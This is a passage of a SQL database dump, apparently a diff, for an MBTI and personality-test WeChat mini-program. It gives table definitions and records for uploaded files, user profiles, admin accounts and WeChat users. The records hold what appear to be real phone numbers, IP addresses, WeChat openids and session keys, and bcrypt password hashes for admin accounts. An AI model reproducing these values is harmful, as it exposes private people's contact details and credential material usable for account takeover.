'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6db9b37.88275148.jpg', 'oss', '1cbd694fd6fc4db365e90aceff1bd2ec', 142606, 'image/jpeg', 'jpg', 1773228775, 1773228775); +INSERT INTO `mbti_upload_files` VALUES (111, 'mbti/20260311/img_69b152e703d9a8.06342422.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e703d9a8.06342422.jpg', 'oss', '03a098f6452fcda2eb2ba3c29e48e6df', 143220, 'image/jpeg', 'jpg', 1773228776, 1773228776); +INSERT INTO `mbti_upload_files` VALUES (112, 'mbti/20260311/img_69b15315631506.55875786.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg', 'oss', 'e83a0884339d6d67b51d5030b054d1e2', 141736, 'image/jpeg', 'jpg', 1773228821, 1773228821); +INSERT INTO `mbti_upload_files` VALUES (113, 'mbti/20260311/img_69b1531561a0f3.94016134.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg', 'oss', 'dae5b4f398f6823f7a5b17ce8e68cf4a', 144489, 'image/jpeg', 'jpg', 1773228821, 1773228821); +INSERT INTO `mbti_upload_files` VALUES (114, 'mbti/20260311/img_69b15315672be1.56231716.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg', 'oss', '3c8e1402536090a7a7af53c319827af2', 145189, 'image/jpeg', 'jpg', 1773228821, 1773228821); +INSERT INTO `mbti_upload_files` VALUES (115, 'mbti/20260311/img_69b155d8915338.23978756.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d8915338.23978756.jpg', 'oss', 'c85bfb87be8e713e6d4901b49990dd84', 107481, 'image/jpeg', 'jpg', 1773229528, 1773229528); +INSERT INTO `mbti_upload_files` VALUES (116, 'mbti/20260311/img_69b155d893f2e8.01394899.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d893f2e8.01394899.jpg', 'oss', 'f0affa39c3e9f8404d7dbe1eda413587', 110855, 'image/jpeg', 'jpg', 1773229528, 1773229528); +INSERT INTO `mbti_upload_files` VALUES (117, 'mbti/20260311/img_69b155d889b1d6.05067740.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d889b1d6.05067740.jpg', 'oss', '942e00dc9c6607ead97bb4fa82561b68', 108801, 'image/jpeg', 'jpg', 1773229529, 1773229529); +INSERT INTO `mbti_upload_files` VALUES (118, 'mbti/20260311/img_69b15686bcc486.40018861.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686bcc486.40018861.jpg', 'oss', 'af18e79958b5945a0382f17bdbcd5bb4', 152343, 'image/jpeg', 'jpg', 1773229703, 1773229703); +INSERT INTO `mbti_upload_files` VALUES (119, 'mbti/20260311/img_69b15686c108a2.00278153.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c108a2.00278153.jpg', 'oss', 'fea1cd75a030626a5ae1657e4725ed03', 152558, 'image/jpeg', 'jpg', 1773229702, 1773229702); +INSERT INTO `mbti_upload_files` VALUES (120, 'mbti/20260311/img_69b15686c72c85.43050844.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c72c85.43050844.jpg', 'oss', 'b2a9575f583d16eb4be4b1f8bbc4afcf', 152875, 'image/jpeg', 'jpg', 1773229703, 1773229703); +INSERT INTO `mbti_upload_files` VALUES (121, 'mbti/20260312/img_69b22c5b77dd72.66364633.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22c5b77dd72.66364633.png', 'oss', '34b020b7c4e4bbbb28511c418d973c29', 1387582, 'image/png', 'png', 1773284445, 1773284445); +INSERT INTO `mbti_upload_files` VALUES (122, 'mbti/20260312/img_69b22d71b312f8.14596541.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d71b312f8.14596541.png', 'oss', '89cf37046fb115e47fe41d1038b47126', 1078792, 'image/png', 'png', 1773284723, 1773284723); +INSERT INTO `mbti_upload_files` VALUES (123, 'mbti/20260312/img_69b22d78d52b94.76297015.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d78d52b94.76297015.png', 'oss', 'b67f6ac1003bb0b86e818e3f5432bcc6', 1582821, 'image/png', 'png', 1773284731, 1773284731); + +-- ---------------------------- +-- Table structure for mbti_user_profile +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_user_profile`; +CREATE TABLE `mbti_user_profile` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '主键ID', + `userId` int(11) NOT NULL COMMENT '用户ID(关联总用户表主键)', + `userType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT 'personal' COMMENT '用户类型: personal个人 / enterprise企业', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业用户所属企业,个人为空)', + `testsTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总测试次数(所有类型之和)', + `testsMbti` int(11) NOT NULL DEFAULT 0 COMMENT 'MBTI测试次数', + `testsDisc` int(11) NOT NULL DEFAULT 0 COMMENT 'DISC测试次数', + `testsPdp` int(11) NOT NULL DEFAULT 0 COMMENT 'PDP测试次数', + `testsFace` int(11) NOT NULL DEFAULT 0 COMMENT 'AI面相测试次数', + `ordersTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总订单数', + `paidOrders` int(11) NOT NULL DEFAULT 0 COMMENT '已付款订单数', + `totalPaidAmount` int(11) NOT NULL DEFAULT 0 COMMENT '总支付金额(分)', + `lastTestResultId` int(11) NULL DEFAULT NULL COMMENT '最近一条测试结果ID(mbti_test_results.id)', + `lastTestType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '最近测试类型: mbti/disc/pdp/face/ai', + `lastTestAt` int(11) NULL DEFAULT NULL COMMENT '最近测试时间', + `lastMbtiResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次MBTI结果ID', + `lastDiscResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次DISC结果ID', + `lastPdpResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次PDP结果ID', + `lastFaceResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次AI面相结果ID', + `createdAt` int(11) NOT NULL DEFAULT 0 COMMENT '创建时间', + `updatedAt` int(11) NOT NULL DEFAULT 0 COMMENT '更新时间', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_user`(`userId`, `userType`, `enterpriseId`) USING BTREE, + INDEX `idx_enterprise`(`enterpriseId`) USING BTREE, + INDEX `idx_lastTestAt`(`lastTestAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户画像汇总表(个人+企业,含最近测试结果ID)' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_user_profile +-- ---------------------------- +INSERT INTO `mbti_user_profile` VALUES (1, 1, 'personal', NULL, 28, 3, 4, 3, 18, 10, 10, 10, 73, 'face', 1772779082, 67, 69, 68, 73, 1772164861, 1773212497); +INSERT INTO `mbti_user_profile` VALUES (2, 1, 'enterprise', 5, 24, 1, 0, 3, 20, 0, 0, 0, 86, 'face', 1773042949, 71, NULL, 85, 86, 1772246018, 1773042949); +INSERT INTO `mbti_user_profile` VALUES (3, 6, 'personal', NULL, 5, 1, 0, 0, 4, 0, 0, 0, 100, 'face', 1773130960, 50, NULL, NULL, 100, 1772422915, 1773130960); +INSERT INTO `mbti_user_profile` VALUES (4, 7, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 51, 'face', 1772428086, NULL, NULL, NULL, 51, 1772428086, 1772428086); +INSERT INTO `mbti_user_profile` VALUES (5, 1, 'enterprise', 6, 32, 1, 4, 1, 19, 0, 0, 0, 145, 'face', 1773286899, 89, 103, 90, 145, 1772518933, 1773286899); +INSERT INTO `mbti_user_profile` VALUES (6, 12, 'personal', NULL, 4, 0, 0, 0, 4, 0, 0, 0, 59, 'face', 1772535779, NULL, NULL, NULL, 59, 1772535666, 1772535779); +INSERT INTO `mbti_user_profile` VALUES (7, 26, 'personal', NULL, 3, 0, 0, 0, 3, 0, 0, 0, 107, 'face', 1773137428, NULL, NULL, NULL, 107, 1773133602, 1773137428); +INSERT INTO `mbti_user_profile` VALUES (8, 28, 'personal', NULL, 3, 0, 0, 0, 3, 0, 0, 0, 116, 'face', 1773218176, NULL, NULL, NULL, 116, 1773218013, 1773218176); +INSERT INTO `mbti_user_profile` VALUES (9, 29, 'personal', NULL, 2, 0, 0, 0, 2, 0, 0, 0, 120, 'face', 1773219347, NULL, NULL, NULL, 120, 1773218860, 1773219347); +INSERT INTO `mbti_user_profile` VALUES (10, 31, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 121, 'face', 1773219366, NULL, NULL, NULL, 121, 1773219366, 1773219366); +INSERT INTO `mbti_user_profile` VALUES (11, 32, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 123, 'face', 1773222595, NULL, NULL, NULL, 123, 1773222595, 1773222595); +INSERT INTO `mbti_user_profile` VALUES (12, 33, 'personal', NULL, 6, 0, 0, 0, 6, 0, 0, 0, 134, 'face', 1773228837, NULL, NULL, NULL, 134, 1773227480, 1773228837); +INSERT INTO `mbti_user_profile` VALUES (13, 35, 'personal', NULL, 3, 1, 0, 0, 2, 0, 0, 0, 132, 'mbti', 1773228717, 132, NULL, NULL, 130, 1773227875, 1773228717); +INSERT INTO `mbti_user_profile` VALUES (14, 24, 'personal', NULL, 2, 0, 0, 0, 2, 0, 0, 0, 127, 'face', 1773228086, NULL, NULL, NULL, 127, 1773228025, 1773228086); +INSERT INTO `mbti_user_profile` VALUES (15, 36, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 135, 'face', 1773229546, NULL, NULL, NULL, 135, 1773229546, 1773229546); +INSERT INTO `mbti_user_profile` VALUES (16, 37, 'personal', NULL, 2, 1, 0, 0, 1, 0, 0, 0, 137, 'mbti', 1773229852, 137, NULL, NULL, 136, 1773229714, 1773229852); + +-- ---------------------------- +-- Table structure for mbti_users +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_users`; +CREATE TABLE `mbti_users` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `username` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '用户名', + `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '密码(加密)', + `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', + `email` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '邮箱', + `role` enum('enterprise_admin','admin','superadmin') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '角色:enterprise_admin企业管理员/admin普通管理员/superadmin超级管理员', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `mbtiType` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MBTI类型', + `region` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '地区', + `industry` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '行业', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', + `lastLoginTime` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', + `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录IP', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `username`(`username`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_role`(`role`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_lastLoginTime`(`lastLoginTime`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 4 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '管理员用户表(仅存储管理员和超管)' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_users +-- ---------------------------- +INSERT INTO `mbti_users` VALUES (1, 'admin', '$2y$10$9866aQMzPwSUrseZE8ltPeTB.5g17iVgJqN7yJBtiwTj6xst/.6Wy', NULL, NULL, 'superadmin', NULL, NULL, NULL, NULL, 1, 1773127322, '222.76.193.38', NULL, 1770877583, 1773127322); +INSERT INTO `mbti_users` VALUES (2, 'ckb', '$2y$10$9866aQMzPwSUrseZE8ltPeTB.5g17iVgJqN7yJBtiwTj6xst/.6Wy', '18888888888', 'ckb@qq.com', 'enterprise_admin', 5, NULL, NULL, NULL, 1, 1773227933, '222.76.193.38', NULL, 1770878340, 1773227933); +INSERT INTO `mbti_users` VALUES (3, 'test', '$2y$10$mCHe8NX/F48peF3CjPuowu4R0wB7I91I3xE1RLQv.p5dCt6Z7paYG', '', '', 'enterprise_admin', 6, NULL, NULL, NULL, 1, 1773132555, '192.168.1.22', NULL, 1772174277, 1773132555); + +-- ---------------------------- +-- Table structure for mbti_wechat_users +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_wechat_users`; +CREATE TABLE `mbti_wechat_users` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `openid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '微信 openid', + `unionid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信 unionid(开放平台)', + `sessionKey` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '会话密钥', + `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '昵称', + `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '头像 URL', + `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', + `gender` tinyint(1) NULL DEFAULT 0 COMMENT '性别:0未知 1男 2女', + `country` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '国家', + `province` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '省份', + `city` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '城市', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常 0禁用', + `lastLoginAt` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', + `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录 IP', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '当前绑定企业ID:通过企业分享测试链接进入时更新,个人分享不更新', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)', + `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)', + `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_openid`(`openid`) USING BTREE, + INDEX `idx_unionid`(`unionid`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_lastLoginAt`(`lastLoginAt`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 42 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '微信小程序用户表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_wechat_users +-- ---------------------------- +INSERT INTO `mbti_wechat_users` VALUES (1, 'oucCB1-ZVIkM-ZfN1L2556LQ4nw0', NULL, 'C0UlsErBrD74oAaBiqbHzQ==', 'wong', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', '18649947301', 0, NULL, NULL, NULL, 1, 1773306690, '192.168.1.22', 6, 1770964161, 1773306690, 9400, 10000, 0); +INSERT INTO `mbti_wechat_users` VALUES (2, 'oucCB149wurgAL6QNW7ryIDq3yKk', NULL, '8I8CeS/3kT7eGwPw+uHW9g==', NULL, NULL, '18924071446', 0, NULL, NULL, NULL, 1, 1773287158, '124.220.124.244', NULL, 1772421720, 1773287182, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (3, 'oucCB13ZKUnsRaYlQssbwTPhVd4M', NULL, 'l3Mpv7KAiY010VFaqRkBhw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772421723, '124.221.213.176', NULL, 1772421723, 1772421723, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (4, 'oucCB15QnGvXVsH3lM4f9VGM3qqM', NULL, 'zlkw6DhwWn8Cjt1r5YDb/w==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287158, '124.221.213.176', NULL, 1772421723, 1773287158, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (5, 'oucCB138gzETJPvifeLNMzJF6pWo', NULL, 'p2+DgeFte4tyJNY5xu5Y0Q==', NULL, 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', NULL, 0, NULL, NULL, NULL, 1, 1772421759, '119.84.150.100', NULL, 1772421729, 1772421759, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (6, 'oucCB15WDKCdwfNo-fpyS72iY5IQ--', NULL, '3Z7XoZZOuXsFCAeOM2ZaaQ==', '少年梦想家', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', '13110806007', 0, NULL, NULL, NULL, 1, 1773130511, '222.76.193.38', NULL, 1772422831, 1773286899, 2620, 2620, 0); +INSERT INTO `mbti_wechat_users` VALUES (7, 'oucCB1_5bbtQ81rUGzlFAe26QYJM', NULL, 'TAODhksGkILOe+ZS5GpJ4w==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772428029, '119.84.150.113', NULL, 1772428029, 1772428029, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (8, 'oucCB16Y_fH9Iw-cPIiKib7Q0gVk', NULL, 'aZkoI0tiaI2XXLAAjwNbUg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772593719, '124.220.124.244', NULL, 1772432954, 1772593719, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (9, 'oucCB1_sptMQ_vqSc6RhSOlseE0Y', NULL, '2DfWem3RagjzG8x0iPZjXg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772432999, '101.34.86.201', NULL, 1772432955, 1772432999, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (10, 'oucCB11HD-1l-YS391Ksx0p6DKeQ', NULL, 'jIxvJ2dBwKgDpM7etmgXtw==', NULL, 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', NULL, 0, NULL, NULL, NULL, 1, 1772432992, '119.84.150.101', NULL, 1772432961, 1772432992, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (11, 'oucCB1-b0mGsNG_EP9XxmXmmfmls', NULL, '4mx3aYCq5PwfBclj1iwntw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772433827, '119.84.150.113', NULL, 1772433827, 1772433827, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (12, 'oucCB17fP8tjK8p6L10kYtM_u-zM', NULL, 'N/fuTTQvjPFsdjZMEwTyZA==', '爱赛车的阿猫', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', '13779954946', 0, NULL, NULL, NULL, 1, 1773217705, '222.76.193.38', NULL, 1772534377, 1773229546, 14, 14, 0); +INSERT INTO `mbti_wechat_users` VALUES (13, 'oucCB10Xq40i5Kz3D0byaA3LXGsU', NULL, '6he+DL8PwR7KwRdLzufbeQ==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772587863, '124.221.213.176', NULL, 1772587863, 1772587863, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (14, 'oucCB1zoVf5jzHeA5YNtouDhO1Uw', NULL, '6QwjTxDBJhjm02TdFBMIwA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609271, '101.34.86.201', NULL, 1772587866, 1772609271, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (15, 'oucCB1-cPFRxWwZLU1Rt8Jl3yqkM', NULL, '1o+Ieuce2AYUP4MSFV9oYA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772587871, '119.84.150.102', NULL, 1772587871, 1772587871, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (16, 'oucCB14MiTaXm3IAh_eKDkui42aY', NULL, '1XfGYR4ZXEOueNgH8NZ2xQ==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772588221, '124.221.213.176', NULL, 1772588221, 1772588221, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (17, 'oucCB1zfI9ZC4rtyS9kpgq1TFv7s', NULL, '90xVsk1deW6kNtxtswQReA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772588229, '119.84.150.115', NULL, 1772588229, 1772588229, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (18, 'oucCB19sPEfQMkcHuath9liaVp4o', NULL, '6qIZC+5eTgLm+d3Iriwi8g==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772589192, '119.84.150.113', NULL, 1772589192, 1772589192, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (19, 'oucCB10X6rrCC6QPeIpQk4u3mhLk', NULL, 'JBzoreuWsEYjPlQpjpdMbA==', NULL, NULL, '18924071446', 0, NULL, NULL, NULL, 1, 1772593719, '124.221.213.176', NULL, 1772593719, 1772593735, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (20, 'oucCB1zOYr5nheN_OuCZf1EbS6BI', NULL, '3Da5VazXw2AkCUv00ZdgeA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772593727, '119.84.150.100', NULL, 1772593727, 1772593727, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (21, 'oucCB19_JfV_1PnXxL_GOgwPDZ5w', NULL, '1KIxerwbaejMl3/htXoMFw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772610153, '119.84.150.101', NULL, 1772594436, 1772610153, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (22, 'oucCB11X7Hn-4gn8Q10sykL9aHUw', NULL, 'IUG7/aDWL16UJT0fnEIcEw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609270, '124.221.213.176', NULL, 1772609270, 1772609270, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (23, 'oucCB17O20KVCvLqkpVYTs8oGaJQ', NULL, 'UySPIMyFc4M3cnSSvbX0eA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609278, '119.84.150.115', NULL, 1772609278, 1772609278, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (24, 'oucCB181zBrbwJwnqN11V2rSeS7E', NULL, 'ZkTEV1H6s08LXlLvfSdXIQ==', '#卡若🔥(4:00起床的男人)', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14e40ae20b9.53607517.jpg', '15880802661', 0, NULL, NULL, NULL, 1, 1773231282, '222.76.193.38', NULL, 1773061047, 1773231282, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (25, 'oucCB18Dwy5wOVuFSAloFg4b1bl8', NULL, 'OE5HKcEnqpsVIh4Vk47qJA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773066331, '175.24.88.249', NULL, 1773066331, 1773066331, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (26, 'oucCB15WDKCdwfNo-fpyS72iY5IQ', NULL, '3Z7XoZZOuXsFCAeOM2ZaaQ==', NULL, NULL, '13110806007', 0, NULL, NULL, NULL, 1, 1773137368, '222.76.193.38', NULL, 1773133041, 1773137368, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (27, 'oucCB1-K4ri1DGRVesilwXqw1Qxk', NULL, 'fMuJbnjzGigkFBxdpUVQBw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773217886, '27.149.120.53', NULL, 1773217886, 1773217886, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (28, 'oucCB1-bQ7huEfCauj_MQOjnGuEs', NULL, 'cTImYWuAznp8D4BiOOWRRw==', NULL, NULL, '13411334222', 0, NULL, NULL, NULL, 1, 1773219235, '223.104.71.240', NULL, 1773217917, 1773219235, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (29, 'oucCB135WoglJJE6CSo4lETLk1OE', NULL, '5UlxDaBGnSdwXbcNswv97w==', NULL, NULL, '15860758013', 0, NULL, NULL, NULL, 1, 1773219510, '223.104.48.225', NULL, 1773218797, 1773219510, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (30, 'oucCB1_8mgBxu2fIQKLfwU62vl8I', NULL, 'NTRPgwfEBLWSZNPROn032Q==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773219121, '223.104.71.248', NULL, 1773219121, 1773219121, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (31, 'oucCB11VN18Rxc80sAUdag1aGkPY', NULL, 'Waz1oii3uwp9ZAQgVklbqA==', NULL, NULL, '18659005777', 0, NULL, NULL, NULL, 1, 1773219310, '117.30.58.90', NULL, 1773219310, 1773219346, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (32, 'oucCB1335FBVeJvdMbS6FpwBKKvI', NULL, 'NqIxNIOgr7bpuuAPwusL1g==', NULL, NULL, '15805958716', 0, NULL, NULL, NULL, 1, 1773222524, '110.84.204.164', NULL, 1773222524, 1773222574, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (33, 'oucCB1wHXJDd6Sl82PZsxcn3V1h8', NULL, 'Oula89tgjDUXcMetIaBhog==', NULL, NULL, '18850346418', 0, NULL, NULL, NULL, 1, 1773228674, '112.48.34.30', NULL, 1773227436, 1773228674, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (34, 'oucCB1zbypvt8QNEexA_EiouHkaU', NULL, 'h1Fh+tvT1GcOSxXyIzZiuA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773229125, '222.76.193.38', NULL, 1773227693, 1773229125, 3, 3, 0); +INSERT INTO `mbti_wechat_users` VALUES (35, 'oucCB18qWRguSU_LK5EP1V_FqdLk', NULL, 'LgIWb7H3E+5ZJ6mWHy9A5A==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773228752, '117.28.9.96', NULL, 1773227750, 1773228752, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (36, 'oucCB1yCpTUcX2CPZteunMUKEFvE', NULL, 'zIPfx44UMAi1ALBK5yrLPg==', NULL, NULL, '18850326353', 0, NULL, NULL, NULL, 1, 1773229479, '27.154.11.72', NULL, 1773229479, 1773229513, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (37, 'oucCB134llW9EoR6OtP1AM50LBOM', NULL, 'SGc5dSebmvp+TtpdOOwNdw==', NULL, NULL, '17395813556', 0, NULL, NULL, NULL, 1, 1773229676, '120.32.220.217', NULL, 1773229676, 1773229701, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (38, 'oucCB18frhXQcLlU2hUJ1c7ooL3g', NULL, '3IwAZ9hCFqdInbu3OoYfBg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773231619, '116.29.89.143', NULL, 1773231619, 1773231619, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (39, 